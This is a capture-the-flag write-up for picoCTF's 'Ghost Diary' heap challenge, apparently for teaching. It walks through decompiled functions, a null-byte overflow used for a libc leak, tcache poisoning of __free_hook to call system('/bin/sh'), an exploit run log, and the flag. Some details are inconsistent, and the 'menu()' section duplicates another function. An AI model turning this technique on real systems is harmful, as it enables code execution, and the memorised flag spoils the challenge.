Ghost_Diary

Problem

Try writing in this ghost diary. Its also found in /problems/ghost-diary_5_7e39864bc6dc6e66a1ac8f4632e5ffba on the shell server.

Solution

Stage 1: Analysis

  1. Analysis commands (run on shell server):

     $ ldd ghostdiary
     linux-vdso.so.1 (0x00007ffc22b9f000)
     libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f860ee47000)
     /lib64/ld-linux-x86-64.so.2 (0x00007f860f43b000)
    
     $ strings /lib/x86_64-linux-gnu/libc.so.6 | grep GNU
     GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
     Compiled by GNU CC version 7.3.0.
    
     $ checksec ghostdiary
         Arch:     amd64-64-little
         RELRO:    Full RELRO
         Stack:    Canary found
         NX:       NX enabled
         PIE:      PIE enabled

    The libc version is 2.27 which implies the use of tcache with very little security checks. All protections are enabled, implying a heap only exploit.

  2. Test run:

     -=-=-=[[Ghost Diary]]=-=-=-
     1. New page in diary
     2. Talk with ghost
     3. Listen to ghost
     4. Burn the page
     5. Go to sleep
     > 1
     1. Write on one side?
     2. Write on both sides?
     > 1
     size: 1
     page #0
     1. New page in diary
     2. Talk with ghost
     3. Listen to ghost
     4. Burn the page
     5. Go to sleep
     > 2
     Page: 1
     Content: 1. New page in diary
     2. Talk with ghost
     3. Listen to ghost
     4. Burn the page
     5. Go to sleep
     > 4
     Page: 1
     1. New page in diary
     2. Talk with ghost
     3. Listen to ghost
     4. Burn the page
     5. Go to sleep
     > 5
     bye human!

    After running, we are given a menu with the following options: New page, Talk with ghost, Listen to ghost, Burn the page, and Go to sleep. We suspect that these operations correspond to a fairly standard heap problem with create, edit, read, delete, and exit.

  3. Reverse the binary file using Ghidra (cheat sheet).

    main() function:

    create_page() function:

     void FUN_00100b0b(void)
    
     {
     void *pvVar1;
     long in_FS_OFFSET;
     uint local_1c;
     int local_18;
     uint local_14;
     long local_10;
    
     local_10 = *(long *)(in_FS_OFFSET + 0x28);
     local_14 = 0;
     while ((local_14 < 0x14 && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0))) {
         local_14 = local_14 + 1;
     }
     if (local_14 == 0x14) {
         puts("Buy new book");
     }
     else {
         puts("1. Write on one side?");
         puts("2. Write on both sides?");
         while( true ) {
         while( true ) {
             while( true ) {
             printf("> ");
             __isoc99_scanf(&DAT_0010119d,&local_18);
             if (local_18 != 1) break;
             printf("size: ");
             __isoc99_scanf(&DAT_0010119d,&local_1c);
             if (local_1c < 0xf1) goto LAB_00100c64;
             puts("too big to fit in a page");
             }
             if (local_18 != 2) goto LAB_00100ce5;
             printf("size: ");
             __isoc99_scanf(&DAT_0010119d,&local_1c);
             if (0x10f < local_1c) break;
             puts("don\'t waste pages -_-");
         }
         if (local_1c < 0x1e1) break;
         puts("can you not write that much?");
         }
     LAB_00100c64:
         pvVar1 = malloc((ulong)local_1c);
         *(void **)(&DAT_00302060 + (ulong)local_14 * 0x10) = pvVar1;
         if (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) == 0) {
         puts("oh noooooooo!! :(");
         }
         else {
         *(uint *)(&DAT_00302068 + (ulong)local_14 * 0x10) = local_1c;
         printf("page #%d\n",(ulong)local_14);
         }
     }
     LAB_00100ce5:
     if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
         return;
     }
                         /* WARNING: Subroutine does not return */
     __stack_chk_fail();
     }

    edit_page() function:

     void FUN_00100cfb(void)
    
     {
     long in_FS_OFFSET;
     uint local_14;
     long local_10;
    
     local_10 = *(long *)(in_FS_OFFSET + 0x28);
     printf("Page: ");
     __isoc99_scanf(&DAT_0010119d,&local_14);
     printf("Content: ");
     if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {
         FUN_00100a5a(*(undefined8 *)(&DAT_00302060 + (ulong)local_14 * 0x10),
                     (ulong)*(uint *)(&DAT_00302068 + (ulong)local_14 * 0x10),
                     (ulong)*(uint *)(&DAT_00302068 + (ulong)local_14 * 0x10));
     }
     if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                         /* WARNING: Subroutine does not return */
         __stack_chk_fail();
     }
     return;
     }

    edit_page_input() function (FUN_00100a5a()):

     void FUN_00100a5a(long param_1,uint param_2)
    
     {
     ssize_t sVar1;
     long in_FS_OFFSET;
     char local_15;
     uint local_14;
     long local_10;
    
     local_10 = *(long *)(in_FS_OFFSET + 0x28);
     local_14 = 0;
     if (param_2 != 0) {
         while (local_14 != param_2) {
         sVar1 = read(0,&local_15,1);
         if (sVar1 != 1) {
             puts("read error");
                         /* WARNING: Subroutine does not return */
             exit(-1);
         }
         if (local_15 == '\n') break;
         *(char *)((ulong)local_14 + param_1) = local_15;
         local_14 = local_14 + 1;
         }
         *(undefined *)(param_1 + (ulong)local_14) = 0;
     }
     if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
         return;
     }
                         /* WARNING: Subroutine does not return */
     __stack_chk_fail();
     }

    print_page() function:

     void FUN_00100dbe(void)
    
     {
     long in_FS_OFFSET;
     uint local_14;
     long local_10;
    
     local_10 = *(long *)(in_FS_OFFSET + 0x28);
     printf("Page: ");
     __isoc99_scanf(&DAT_0010119d,&local_14);
     printf("Content: ");
     if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {
         puts(*(char **)(&DAT_00302060 + (ulong)local_14 * 0x10));
     }
     if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                         /* WARNING: Subroutine does not return */
         __stack_chk_fail();
     }
     return;
     }

    delete_page() function:

     void FUN_00100e69(void)
    
     {
     long in_FS_OFFSET;
     uint local_14;
     long local_10;
    
     local_10 = *(long *)(in_FS_OFFSET + 0x28);
     printf("Page: ");
     __isoc99_scanf(&DAT_0010119d,&local_14);
     if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {
         free(*(void **)(&DAT_00302060 + (ulong)local_14 * 0x10));
         *(undefined8 *)(&DAT_00302060 + (ulong)local_14 * 0x10) = 0;
     }
     if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                         /* WARNING: Subroutine does not return */
         __stack_chk_fail();
     }
     return;
     }

    menu() function:

     void FUN_00100e69(void)
    
     {
     long in_FS_OFFSET;
     uint local_14;
     long local_10;
    
     local_10 = *(long *)(in_FS_OFFSET + 0x28);
     printf("Page: ");
     __isoc99_scanf(&DAT_0010119d,&local_14);
     if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {
         free(*(void **)(&DAT_00302060 + (ulong)local_14 * 0x10));
         *(undefined8 *)(&DAT_00302060 + (ulong)local_14 * 0x10) = 0;
     }
     if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                         /* WARNING: Subroutine does not return */
         __stack_chk_fail();
     }
     return;
     }

    Ghidra failed to decompile main(), but this should be okay since it probably only handles the logic that calls the above functions.

    Findings:

    • The delete_page() method correctly sets the pointer to NULL after freeing, so any use-after-free exploit will have to work non-trivially.

    • There is a null byte overflow in the edit function.

    • In addition, we can print any chunk, regardless of if it’s freed or not, which we will use to get a libc leak.

Stage 2: Leak Libc (using a poison null byte)

  1. tcache bins prevent us from getting a leak normally by freeing unsorted bin. However, each tcache bin can only hold a maximum of 7 chunks, letting us easily overflow it. We create 8 chunks in the unsorted bin range, and free them all. The last freed chunk will have a libc address, which we can leak, since it will be freed to a regular bin.

  2. Throughout this exploit, we will need to ensure that the tcache is filled, or else our freed chunks will go into the tcache and not unsorted bins.

  3. This section is somewhat similar to the "zero_to_hero" challenge since we overflow a poison null byte into the next chunk to change the size of the next chunk.

  4. In this case, in order to perform null byte poisoning we need 3 chunks (size 0x118 but value is 0x119 because of PREV_INUSE bit).

     0x00    [ 0xdeadbeef  ] [    0x119   ]  A
             [             ...            ]
             [             ...            ]
     0x118   [     ...     ] [    0x119   ]  B
             [             ...            ]
             [             ...            ]
     0x230   [     ...     ] [    0x119   ]  C
             [             ...            ]
             [             ...            ]
  5. We eventually want to shrink chunk B by overwriting the least significant byte of the size header with 0x00. Thus, the new size of B becomes 0x100. However, we need to change the prev_size value of the chunk following B or else malloc will error when it is called. This can be done by writing a fake block header into block B that is 0x100-0x10 bytes after block B's header. Remember, all blocks overlap with the next block by 8 bytes in 64-bit programs (4 bytes in 32-bit). This overlap contains the last 8 bytes of the block if the block is allocated, but if it is unallocated it contains the size of the previous block. We write the size of 0x100 to block_b_header+0xf0 and then free B (to the unsorted list) to setup the backwards consolidation later. We do not write a size to the fake header because malloc does not check the size value. Freeing block B changes the PREV_INUSE byte of block C, making block C's size value change from 0x121 to 0x120, to mark the previous block as not in use. It also

     0x00    [    0xdeadbeef    ] [      0x121     ]  A
             [                  ...                ]
             [                  ...                ]
     0x118   [        ...       ] [      0x121     ]  B [FREE]
             [                  ...                ]
             [                  ...                ]
     0x218   [ 0x100 prev_size  ] [      ...       ]    [FAKE HEADER]
             [                  ...                ]
             [                  ...                ]
     0x230   [ 0x120 prev_size  ] [      0x120     ]  C
             [                  ...                ]
             [                  ...                ]
                                ...
  6. We then abuse the null byte overflow to change B’s size. We fill block 7 (block A) with As and the single null byte overflows to change block 8's (block B) size from 0x120 to 0x100

     0x00    [    0xdeadbeef    ] [      0x121     ]  A [FREE]
             [                  ...                ]
             [                  ...                ]
     0x118   [        ...       ] [      0x100     ]  B [FREE]
             [                  ...                ]
             [                  ...                ]
     0x218   [ 0x100 prev_size  ] [      ...       ]    [FAKE HEADER]
             [                  ...                ]
             [                  ...                ]
     0x230   [ 0x120 prev_size  ] [      0x120     ]  C
             [                  ...                ]
             [                  ...                ]
                                ...
  7. When malloc() is called, it looks on its list for a piece of memory that is big enough. If it finds one, then it removes that memory from the linked list and returns it to the user. When free() is called, the memory is put back on the linked list. Now, to be efficient, if there is a chunk of memory on the free list that much bigger than what is requested, then it breaks up that chunk into two chunks: one which is the size of the request (padded to a multiple of 8), and the remainder. The remainder is put on the free list and the one the size of the request is returned to the user. Therefore, running alloc(0x88) to create a block of size 0x88 will split the chunk in the unsorted list, which in our case is chunk B of size 0x118, into 0x88, as requested by the program, and 0x90 which is the leftover amount.

  8. When the block of size 0x88 is requested malloc simply returns a pointer to the block of memory. It does not null out the values or set them to zero like calloc does. When block B was initially freed to the unsorted list the backwards pointer was overwritten with the address of the unsorted bin list in libc's main_arena. Thus, when it is split and the top part is returned we get a block of memory containing a libc address. We can calculate the offset and obtain the libc base address. Fore more information about how malloc determines which address to return visit the MallocInternals glibc wiki page (Archive) and read the "Malloc Algorithm" section (although the whole page is great and I recommend reading it all if you are unfamiliar). The image below shows the state of the heap after malloc(0x88) is called:

     0x00    [    0xdeadbeef    ] [      0x121     ]  A
             [                  ...                ]
             [                  ...                ]
     0x118   [        ...       ] [      0x91      ]  B1
             [                  ...                ]
             [                  ...                ]
     0x1a8   [        ...       ] [      0x70      ]  B2  [FREE]
             [                  ...                ]
             [                  ...                ]
     0x218   [ 0x70 prev_size   ] [      ...       ]      [FAKE HEADER]
             [                  ...                ]
             [                  ...                ]
     0x230   [ 0x120 prev_size  ] [      0x120     ]  C
             [                  ...                ]
             [                  ...                ]
                                ...

Stage 3: Overlap chunks and overwrite an address

  1. We can call malloc again to get our chunk that we’ll collapse over. Specifically, to request a chunk of size 0x30, leaving a remainder of 0x40 since B2 is being split. The heap now looks like this:

     0x00    [    0xdeadbeef    ] [      0x121     ]  A
             [                  ...                ]
             [                  ...                ]
     0x118   [        ...       ] [      0x91      ]  B1
             [                  ...                ]
             [                  ...                ]
     0x1a8   [        ...       ] [      0x41      ]  B2
             [                  ...                ]
             [                  ...                ]
     0x1e8   [        ...       ] [      0x30      ]  B3  [FREE]
             [                  ...                ]
             [                  ...                ]
     0x218   [ 0x30 prev_size   ] [      ...       ]      [FAKE HEADER]
             [                  ...                ]
             [                  ...                ]
     0x230   [ 0x120 prev_size  ] [      0x120     ]  C
             [                  ...                ]
             [                  ...                ]
                                ...
  2. We then free B1 to ensure that a proper prev_size header is written:

     0x00    [    0xdeadbeef    ] [      0x121     ]  A
             [                  ...                ]
             [                  ...                ]
     0x118   [        ...       ] [      0x91      ]  B1  [FREE]
             [                  ...                ]
             [                  ...                ]
     0x1a8   [        0x90      ] [      0x40      ]  B2  
             [                  ...                ]
             [                  ...                ]
     0x1e8   [        ...       ] [      0x30      ]  B3  [FREE]
             [                  ...                ]
             [                  ...                ]
     0x218   [ 0x30 prev_size   ] [      ...       ]      [FAKE HEADER]
             [                  ...                ]
             [                  ...                ]
     0x230   [ 0x120 prev_size  ] [      0x120     ]  C
             [                  ...                ]
             [                  ...                ]
                                ...
  3. Now, we can free chunk C to backwards consolidate over B2, resulting in overlapping chunks (this ctf-wiki page might be helpful in understanding overlapping chunks). Since we have overlapping chunks, we control chunk B2 we can free it so it goes in the tcache. Then, we create a chunk of size 0x130 to allocate our consolidated, overlapping chunk into page 0 of the "diary".

  4. Next, we overwrite the forward address of chunk B2 with the address of free_hook by using our overlapped chunks and writing directly into B2. Also, specify the argument to system() to be /bin/sh. We request the next block from the tcache list, leaving the head of the list pointing at the forward pointer of the chunk we just freed. We overwrote this forward pointer to free_hook. Then, we request the next chunk from the same tcache list. This will return a pointer to free_hook. After that, we set the address that page 2 points to, which is actually free_hook, to system by editting the page that points to __free_hook.

  5. We overwrote the __free_hook pointer to the system('/bin/sh') function. So, now we actually have to use our overwritten memory by calling free(), which redirects its actions to whatever function __free_hook happens to point to. Fore more info about __free_hook see step 2 of "Stage 2: Overwrite an Address" of the "zero_to_hero" writeup.

  6. Run the script.py and get the flag python script.py USER=<username> PASSWORD=<password>:

     [*] '~/Documents/PicoCTF/Binary Exploitation/Ghost_Diary/ghostdiary'
         Arch:     amd64-64-little
         RELRO:    Full RELRO
         Stack:    Canary found
         NX:       NX enabled
         PIE:      PIE enabled
     [*] '/lib/x86_64-linux-gnu/libc.so.6'
         Arch:     amd64-64-little
         RELRO:    Partial RELRO
         Stack:    Canary found
         NX:       NX enabled
         PIE:      PIE enabled
     [+] Connecting to 2019shell1.picoctf.com on port 22: Done
     [*] <username>@2019shell1.picoctf.com:
         Distro    Ubuntu 18.04
         OS:       linux
         Arch:     amd64
         Version:  4.15.0
         ASLR:     Enabled
     [+] Opening new channel: 'pwd': Done
     [+] Receiving all data: Done (14B)
     [*] Closed SSH channel with 2019shell1.picoctf.com
     [*] Working directory: '/tmp/tmp.9PpiXJTvxN'
     [+] Opening new channel: 'ln -s /home/<username>/* .': Done
     [+] Receiving all data: Done (0B)
     [*] Closed SSH channel with 2019shell1.picoctf.com
     [+] Starting remote process b'/problems/ghost-diary_5_7e39864bc6dc6e66a1ac8f4632e5ffba/ghostdiary' on 2019shell1.picoctf.com: pid 2221031
     [*] Prepare chunks to overcome tcache 0x118 bin
     [*] Allocate chunks A, B, and C
     [*] Prepare chunks to overcome tcache 0x88 bin
     [*] Edit chunk B to create a fake chunk header with a `prev_size` value of 0x100
     [*] Fill tcache 0x118 bin with chunks allocated earlier
     [*] Free chunk B to the unsorted list
     [*] Execute null byte overflow into chunk B to modify size
     [*] Split chunk B into B1 and B2 by creating a chunk of size 0x88
     [*] Leak libc by reading chunk B1 (entry 0)
     [*] Leaked libc: 0x7f61e1fc9d90
     [*] Libc base: 0x7f61e1bde000
     [*] __free_hook: 0x7f61e1fcb8e8
     [*] system: 0x7f61e1c2d440
     [*] Call `malloc` to get our chunk that we’ll collapse over
     [*] Fill tcache 0x88 bin with chunks allocated earlier
     [*] Free chunk B1 (size 0x88) to ensure that a proper `prev_size` header is written
     [*] Free chunk C to backwards consolidate over B2, resulting in overlapping chunks
     [*] Free chunk B2 so it goes into the tcache
     [*] Create a chunk of size 0x130 to allocate the overlapping chunk
     [*] Overwrite the forward address of chunk B2 to `__free_hook` by using overlapped chunks
     [*] Remove chunk B2 from the tcache list, leaving the head pointing at `__free_hook`
     [*] Request the next chunk from the same tcache list to add a pointer to `__free_hook` to the diary.
     [*] Set `__free_hook` to `system('/bin/sh')` by editing the page that points to `__free_hook`
     [*] Call `free()`, which will run `__free_hook` and therefore run `system('/bin/sh')`
     [*] Run `cat flag.txt` in the shell, regex match the flag, and print it
     [+] picoCTF{nu11_byt3_Gh05T_abf74d12}

Flag

picoCTF{nu11_byt3_Gh05T_abf74d12}

Last updated